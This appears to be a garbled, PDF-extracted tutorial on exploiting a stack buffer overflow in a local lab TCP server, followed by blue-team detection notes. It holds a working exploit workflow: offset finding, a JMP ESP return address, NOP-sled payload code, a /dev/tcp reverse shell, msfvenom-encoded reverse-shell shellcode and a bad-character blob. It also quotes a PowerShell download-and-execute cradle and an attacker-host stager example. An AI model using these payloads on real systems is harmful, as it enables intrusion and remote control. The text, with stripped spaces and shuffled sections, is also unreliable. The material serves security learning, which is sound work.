Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
